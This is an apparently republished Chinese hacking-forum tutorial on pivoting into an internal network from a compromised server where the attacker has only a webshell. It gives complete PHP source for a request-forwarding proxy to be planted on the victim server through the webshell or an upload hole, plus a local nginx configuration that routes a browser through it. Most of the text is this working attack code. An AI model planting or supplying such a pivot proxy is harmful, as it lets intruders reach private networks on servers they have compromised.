如何實(shí)現(xiàn)服務(wù)器上的端口代理
如何實(shí)現(xiàn)服務(wù)器上的端口代理?有時(shí)候要代理進(jìn)內(nèi)網(wǎng),但是服務(wù)器沒有外網(wǎng)端口,也沒法執(zhí)行命令反彈lcx什么的,也沒有提權(quán)什么什么的,只有一個(gè)webshell,這個(gè)時(shí)候就比較糾結(jié)了。
在這分享一個(gè)比較山寨的php+nginx反向代理,可以比較容易的實(shí)現(xiàn)這個(gè)功能。
架設(shè)起來也算是比較方便了。就把這個(gè)用webshell也好,上傳漏洞也好,甩到對(duì)方服務(wù)器上。
然后配置一下本地的nginx,做一個(gè)反向代理+rewrite就OK。
先看代碼
proxy.php
<?php
if(!isset($_GET['url'])){
exit(0);
}
$ch = curl_init();
$url=$_GET['url'];
if(strstr($url,'?')){
$url.='&';
}
else{
$url.='?';
}
unset($_GET['url']);
foreach($_GET as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$url=$url.'&'.$Key.'='.urlencode($Val);
}
$cookie='';
foreach($_COOKIE as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$cookie=$cookie.$Key.'='.urlencode($Val).'; ';
}
if($_SERVER['REQUEST_METHOD']=="POST"){
curl_setopt($ch, CURLOPT_POST, 1);
$post_data=''; myhack58
foreach($_POST as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$post_data=$post_data.'&'.$Key.'='.urlencode($Val);
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_HEADER, TRUE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
if(isset($_SERVER['HTTP_REFERER'])){
curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);
}
$Response=curl_exec($ch);
if(!$Response){
curl_close($ch);
exit(0);
}
$HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE);
$Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Headers=split("\r\n",$Header);
foreach($Headers as $ThusHead){
if($ThusHead == 'Transfer-Encoding: chunked' || strstr($ThusHead,'Content-Length')!==false){
continue;
}
header($ThusHead,FALSE);
}
echo $Body;
curl_close($ch);
?>
代碼很簡(jiǎn)單,也有一些簡(jiǎn)單的小bug,不知各位看官看出來沒有,我也懶得去修改了。
另外就是:
1. 這個(gè)代理只支持基本的GET/POST并不支持上傳文件,有興趣的可以自己看看,搞搞,搞完發(fā)出來,造福大家
2. 這個(gè)代理在轉(zhuǎn)發(fā)post請(qǐng)求的時(shí)候,用的并不是www-url-encode,所以,也許會(huì)有的程序識(shí)別不正常
然后在本地的nginx里面新加一個(gè)配
# proxy webshell
server {
listen 這里寫監(jiān)聽端口;
location ~ () {
proxy_pass http://webshell的IP/文件/存放/目錄/com/proxy.php?url=http://$host/$request_uri;
proxy_set_header Host "訪問webshell用域名";
}
}
然后重新加載一下nginx配置,配置瀏覽器使用nginx監(jiān)聽的端口做為代理,就可以使了。
本文由站河南北大青鳥校區(qū)整編而成,如需了解更多IT資訊類的文章、新聞、課程和學(xué)習(xí)技巧、就業(yè)案例、招生詳情等問題,可以對(duì)在線咨詢老師進(jìn)行一對(duì)一問答!
推薦資訊
- 河南省有正宗計(jì)算機(jī)學(xué)校么... 2019-07-08
- 中國黑客軼事,你了解多少?... 2013-05-27
- 安卓工程師有前途嗎,月薪一般多... 2013-08-06
- 大學(xué)生畢業(yè)怎么才能找到好工作... 2013-02-07
- 鄭州計(jì)算機(jī)技術(shù)學(xué)校排名選擇適合... 2018-11-14
熱點(diǎn)資訊
- 電腦溫度多少是正常的情況呢?... 2018-09-07
- 四個(gè)策略及簡(jiǎn)單的防護(hù)方法... 2018-09-07
- 對(duì)硬盤進(jìn)行雙分區(qū)有什么好處... 2018-09-07
- 文件加密的幾個(gè)簡(jiǎn)單方法... 2018-09-07
- 計(jì)算機(jī)小技巧,80G硬盤巧變變成... 2018-09-07